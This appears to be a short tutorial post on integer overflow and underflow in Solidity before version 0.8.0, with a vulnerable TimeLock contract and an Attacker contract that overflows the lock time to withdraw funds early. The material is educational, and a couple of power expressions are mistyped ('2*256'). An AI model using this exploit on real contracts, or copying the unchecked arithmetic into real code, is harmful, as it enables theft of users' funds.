As of Solidity 0.8.0, arithmetic overflow/underflow is not a concern. But if we are using a previous version, this is something we need to take care of.
First let us understand what underflow/overflow is:
- Overflow: when a variable exceeds maximum limit of uint (2**256-1), it becomes 0
Eg: uint var1 = 2**256 - 1
var1 + 1 will be 0
var1 + 2 will be 1
- Underflow: when a variable is reduced to something less than the minimum limit of uint (0), it becomes maximum number (2**256-1)
Eg: uint var2 = 0
var2 -1 = 2*256 -1
var2 -2 = 2*256 -2
Now let's understand this with an example; consider a contract that accepts eth from users and locks them for a certain amount of time. Users cannot withdraw before this time-limit but can increase the time limit if they want.
contract TimeLock {
mapping (address => uint) public balances;
mapping (address => uint) public lockTime;
function deposit() external payable{ // to deposit
balances[msg.sender] += msg.value;
lockTime[msg.sender] += block.timestamp + 1 weeks;
}
function withdraw() external { // to withdraw
uint bal = balances[msg.sender];
require(bal > 0, "No balance to withdraw");
require(lockTime[msg.sender] <= block.timestamp, "Time left yet");
balances[msg.sender] = 0; // updating before sending, to avoid reentrancy
(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Send ETH failed");
}
function increaseTimeLimit(uint _seconds) external { // to increase lock time
lockTime[msg.sender] += _seconds;
}
}
Now if attacker wants to hack this contract and get his funds immediately he just needs to overflow lockTime[msg.sender]
. Once this is done, require(lockTime[msg.sender] <= block.timestamp, "Time left yet");
in withdraw()
function will pass (because lockTime[msg.sender]
will be equal to a small number after overflow).
Let's see how attacker can achieve this:
contract Attacker {
TimeLock timeLockContract;
receive() external payable{
}
constructor(address _timeLock) {
timeLockContract = TimeLock(_timeLock);
}
function deposit() external payable {
timeLockContract.deposit{value: msg.value}();
}
function attack() external {
timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));
timeLockContract.withdraw();
}
function getBalance() external view returns(uint) {
return address(this).balance;
}
}
In the attack()
function, we are using underflow to get a very big number: timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));
. This big number is added to lockTime[msg.sender]
in TimeLock contract to cause overflow. And hence the withdraw is executed.
Top comments (0)